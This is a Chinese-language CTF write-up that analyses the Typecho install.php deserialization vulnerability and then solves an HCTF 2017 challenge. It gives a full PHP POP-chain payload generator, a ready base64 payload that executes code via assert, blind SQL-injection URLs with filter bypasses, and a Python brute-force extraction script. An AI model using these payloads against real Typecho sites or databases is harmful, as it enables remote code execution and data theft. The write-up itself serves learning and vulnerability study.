typecho漏洞分析与HCTF实战
0x00前记
通过最近的比赛,决定沉淀下来,从复现cms开始慢慢锻炼自己的审计能力,毕竟这个年头的CTF,不会审计只能活在边缘了,今天为大家带了typecho漏洞的审计分析和一道HCTF里根据这个漏洞点出的实战例题
0x01 typecho漏洞审计
问题存在于在根目录install.php文件的229-235行
可以看到$config变量的值是由__typecho_config解base64并反序列化得到
于是我们跟进get()函数,去看看如何获取这个变量的值
可以看到,__typecho_config变量的值,从cookie中获取,如果没有,则看POST里是否存在
所以这个变量我们有2种输入方式:
而后思考,既然有反序列化unserialize
那么如何利用呢?
这里有3个点:
其中
那么我们这里有没有对象的调用呢?
继续审计
我们可以看到,这里直接对$config['adapter']进行了调用
而我们假设这样
$config为一个数组,classA为我们可以利用的一个类
我们构造如下代码
$sky = new classA();
$config = array(
'adapter' => $sky,
);
这样显然就完成了对对象的调用
所以我们下面需要去全局搜索__toString()函数,找到可利用的类
在Feed.php中的223行,我们发现了这样的函数,进行审计
在第284-290行我们发现这样一段代码
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
其中调用了$item['author']->screenName
而
private $_items = array();
容易看见,$_items是类中的私有变量
这里又有一个点需要关注了:
即一个特殊的魔法函数__get()
__get()会在读取不可访问的属性的值的时候调用
所以这里对$item['author']->screenName的调用显然是使用了这个魔法函数
于是我们跟进这个__get()魔法函数,进行全局搜索
在Request.php中我们发现了这样的函数
public function __get($key)
{
return $this->get($key);
}
我们继续跟进get()函数
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
我们注意到最后一行,返回的数据还要经过$this->_applyFilter()
我们继续跟进
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
可以看到非常瞩目的函数
call_user_func()
举个例子
<?php
$filter= 'assert';
$value = 'phpinfo()';
call_user_func($filter, $value);
?>
即可执行phpinfo()指令
而这里,如果我们能控制$filter和$value两个参数,就等同于任意命令执行
0x02 payload分析
我们根据以上分析,容易得到以下构造
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
我们来捋一遍:
这一连串的pop链构造可谓非常精妙,分析完后才感觉到自己有多菜= =
0x03 注意点
这样构造完__typecho_config的值显然是不够的
我们注意到
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
0x04 实战演练
题目来自10月份的XCTF联赛中的HCTF,改变自typecho漏洞
1.1 题目描述:
题目分为两层,第一层是注入,第二次是注入拿到的路径,进去后是一个typecho页面,但是禁用了许多系统命令。
1.2题目第一层
拿到url
http://sqls.2017.hctf.io/index/index.php?id=1
先探测了下,能用的不多,该过滤的基本过滤完了,空格过滤可以用%0b绕过
这里构造了亦或
回显:
http://sqls.2017.hctf.io/index/index.php?id=1^1
Id error
http://sqls.2017.hctf.io/index/index.php?id=1^0
Alice
故此可以构造payload:
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((user())from(1)))>0)
然后问题来了,我们没有办法用系统库,表,字段去爆库,爆表,爆字段
但是题目提示了:
<!-- What you need is in table:flag -->
所以可以确定的是flag表
然后可以猜测存在flag字段(出题人mmp说的)
然后我们容易构造出:
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select%0bflag%0bfrom%0bflag)from(1)))>0)
但是这样发现sql语句报错了
得到的回显是:`There is nothing.`
于是我苦思冥想,本地测试了2个小时,发现问题在于flag表里不止一个字段,这样就会报错
mysql> select * from users where id=2333 union select 1,2,3,4,(ascii(mid((select flag from flag)from(1)))>0);
ERROR 1242 (21000): Subquery returns more than 1 row
但是我又不知道flag表有啥字段,所以这里我又脑洞了下:
利用like+hctf去限制
select flag from flag where flag like '%hctf%'
所以得到最终的payload:
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from(1)))>0)'
附上脚本:
#!/usr/bin/env python
#coding:utf-8
import requests as req
flag = ''
for x in range(1,100):
for y in range(33,127):
url = 'http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from('+str(x)+')))='+str(y)+')'
f = req.get(url=url)
if 'Id error' in f.content:
flag+=chr(y)
print flag
break
得到结果:
./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
1.3题目第二层
访问
http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php
发现是一个typecho,想到之前爆出的php命令执行漏洞,于是去复现,因为之前复现过,所以还挺激动的
但是这里题目好像做出了变化,首先是好像不能写入了,然后利用的poc中,貌似括号会有影响?当时使用的时候算是比较蛋疼,后来经过一番调整后,终于成功
url = http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=a
post:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
Referrer:
http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
不得不说hacker bar还是强大,这要用Burp看还挺难受的,然后成功回显了phpinfo(),发现是php7,然后想用系统命令查找,却发现系统命令也被禁了,只能使用php函数
这里选用了scandir()
$this->_params['screenName'] = 'var_dump(scandir(\'./\'))';
打出回显:
array(12) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(5) "admin" [4]=> string(14) "config.inc.php" [5]=> string(9) "index.php" [6]=> string(7) "install" [7]=> string(11) "install.php" [8]=> string(11) "license.txt" [9]=> string(7) "uploads" [10]=> string(3) "usr" [11]=> string(3) "var" }
一路查找,最后找到了可疑文件夹:
array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(12) "flag_is_here" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" }
可以看到偌大的flag_is_here
再查:
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) "flag" }
可以看到flag文件,然后利用file_get_contents()去读
$this->_params['screenName'] = 'var_dump(file_get_contents(\'../../../../../flag_is_here/flag\'))';
可以轻松拿到flag
string(33) "hctf{WowwoW_U_F1nd_m3_e218ca012} "